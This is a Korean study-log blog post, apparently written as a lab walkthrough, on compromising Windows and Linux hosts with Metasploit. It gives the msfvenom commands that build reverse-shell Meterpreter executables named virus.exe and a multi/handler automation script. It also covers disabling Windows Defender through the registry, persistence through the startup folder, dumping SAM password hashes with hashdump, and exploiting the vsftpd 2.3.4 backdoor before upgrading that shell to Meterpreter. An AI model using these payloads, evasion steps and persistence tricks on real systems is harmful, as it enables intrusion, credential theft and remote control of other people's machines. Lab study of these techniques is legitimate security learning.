2024. 1. 6. 15:44ㆍInformation Security 정보보안/System Security 시스템 보안
배울내용 :
meterpreter 공격
meterpreter window10 공격
미터프리터
미터프리터 원격조종
msfvenom
윈도우 session 원격조종
Metaploit
시스템 보안
시스템 해킹
msfconsole
제가 지금 부터 작성하는 모든글은 제가 공부기록용이기 때문에 정확하지 않을수 있음을 알려드립니다.
틀린게 있으면 댓글로 써주시면 고치겠습니다.
kali를 켜서
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.10.100 lport=4444 -f exe > /root/virus_32.exe
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.10.100 lport=4444 -f exe > /root/virus_64.exe
위를 실행해준다
msfvenom 으로 페이로드를 사용해
windows/meterpreter/reverse_tcp 실행 파일(exe) 형식의 바이러스를 생성
lhost 공격자의 호스트 주소로 악성 코드가 연결을 시도
lport=4444는 공격자의 시스템에서 사용할 포트 번호
생성된 파일은 /root/virus_32.exe로 저장
가서 확인해보면 제대로 생성된걸 확인할수있다 이후에
윈도우 2008 에서 samba 로 옮겨준뒤에 실행 시킨다
그뒤에 다시 Kali 로 돌아와서
msfconsole -r virus.rc
해준다
virus.rc는 지난번에 만들었던
자동화 스크립트 다
메타스플로잇에서 .rc 파일은 일련의 명령어를 자동으로 실행하는 데 사용되는걸로
이 파일은 메타스플로잇의 msfconsole에서 실행될 수 있는 명령어를 포함하고 있으며,
사용자가 반복적인 작업을 수동으로 입력하지 않고도 자동으로 실행할 수 있게 해줍니다.
vi virus_64.rc
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.10.100
set lport 4444
set exitonsession false
exploit -j -z
지난번에 이렇게 설정한걸 기억할거다
그뒤에
msfconsole -r virus.rc
해주면
이렇게 시작하는창이 뜨면서
session 1 opened 라고 뜰것이다
그리고 ip 주소를 봐도 192.168.10.100:4444 -> 192.168.10.245:45..
이렇게 kali ip -> window2008
세션이 열린것 볼수있다
이제 열린 세션을 연결해주면 된다
sessions 로 연린세션 ID 번호 확인해주고
1번이 열려있기에 sessions -i 1
해주면 연결된다
이때부터 kali에서 window 조종 가능하다
sysinfo 해봐도 pwd 해봐도 window 2008 것으로 실행 되는걸 된다
정확히 되는지를 위해 reboot 를 해주면
클릭하는 순간에 window2008 이 reboot 되는걸 볼수있다
(window2008 실행 되는곳에 virus.exe 를가져다 놔서 자동으로 시작시 연결됨 )
기본설정하는건 이전에 했던 수업을 참고하자
https://sarimus.tistory.com/33
아까 이번에는 window2016, window10 도 가능하다
(참고로 window10부터 bind_tcp 안됨)
먼저 kali 에서
vi virus_64.rc
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.10.100
set lport 4444
set exitonsession false
exploit -j -z
이렇게 만들어준다
payload에 x64 만 추가됬다
msfconsole -r virus_64.rc 해준뒤
window 로 가서
아까 파일은 samba 로 옮겨주고 실행하면 된다
(그러나 window 10은 방화벽 실시간 감지 끄고 해야된다 )
이렇게 sessions -i 2 로
들어가서sysinfo
해보고 reboot 도 시켜봄
그럼 window10에서 명령이 실행이된다
그런데 계속 samba로 옮겨주기엔 너무 불편하다
그냥 window10이 실행되는 순간에 바로 virus.exe를 실행 하게 해주자
먼저 window + R 눌러서
regedit 해주자
(registry editor 레지스트리 편집기 )
C:\HKEY_LOCAL_MACHINE > software > policies > microsoft > windows defender > policy manager
로 들어가자 (한글로 되있으면 해석하면됨 )
그리고 마우스 오른쪽 버튼 누른뒤에
Dword 32bit 를 생성해주자
그리고 이름을
DisableAntiSpyware 로 짖자 (대소문자 구분함 )
그리고나서 설정값을
1 로 설정해준뒤에 확인
이게 안될경우
( 실행창에서 gpedit.msc 후
컴퓨터 구성 > 관리 템플릿 > Windows 구성 요소 > Microsoft Defender 바이러스 백신
에서 설정해준다 )
일단
이번엔 windows에서 virus.exe 를 오른쪽마우스누른뒤 호환키에 관리자권한부여한뒤에 실행
그리고 kali에서
sessions -i 2
한뒤에 hashdump 하면 패스워드가 나옴
이떄 hashdump를 좀더 알자면
hashdump는 Metasploit의 Meterpreter 세션에서 사용하는 명령어로,
대상 시스템의 사용자 계정과 해당 계정의 해시된 패스워드를 추출하는데 사용된다
시나리오는 다음과 같다:
Windows에서 'virus.exe' 실행: Windows 시스템에서 'virus.exe' 파일이 관리자 권한으로 실행
이 파일은 공격자가 미리 조작한 악성코드일 수 있으며, Meterpreter 페이로드를 포함할 가능성이 높다
Kali Linux에서 세션 활성화: 공격자는 Kali Linux 에서 Metasploit을 사용하여 sessions -i 2 명령어를 실행
이는 Metasploit에 의해 생성된 활성화된 세션 목록 중에서 ID가 2인 세션에 연결하라는 의미
hashdump 명령어 사용: 연결된 세션에서 hashdump 명령어를 실행하면,
대상 Windows 시스템의 SAM (Security Account Manager) 데이터베이스에서
사용자 계정과 해당 계정의 해시된 패스워드를 추출합니다.
해시된 패스워드는 원래의 텍스트 패스워드가 아니라 암호화된 형태로 저장된 것인데
이 정보는 공격자가 다른 시스템에 대한 무단 액세스를 시도하거나, 패스워드를 복구하려고 할 때 사용될 수 있다
다시돌아와서 윈도에서 실행하자마자 virus.exe를 실행하려면
window + R 누른뒤에
shell:startup 해준다
그리고 아까 그 virus.exe를 여기에 넣어주면 window를 실행할때마다 켜주는데
DisableAntiSpyware = 1 로 설정했기 떄문에
파일이 지워지지않는다 :)
(참고로 64bit로 해야함! 아까 맨처음에 msfvenum 한것 )
이번엔 Linux 침투를 하면 위에 방법이란 비슷하다 그러나
리눅스는 2단계 공격이 필요하다
vsftpd 취약점 을 이용한다
위와 같이 실행하고 공격 하면
use exploit/unix/ftp/vsftpd_234_backdoor
set payload cmd/unix/interact
set rhosts 192.168.10.247
exploit
이렇게 되고 연결된다
그리고 background 로 가서
sessions -i 하면 이렇게 보이고
다시
use post/multi/manage/shell_to_meterpreter
set session 4
exploit
그러면 이번엔 5 번이 나왔는데 type 이 meterpreter 인걸 알수있다
이걸 sessions -i 5 해준뒤에
sysinfo 해주면 보인다
참고로 hashdump 는 windows에서 virus.exe를 관리자 권한으로 실행해줘야한다
그래야지 보인다
그럼 20000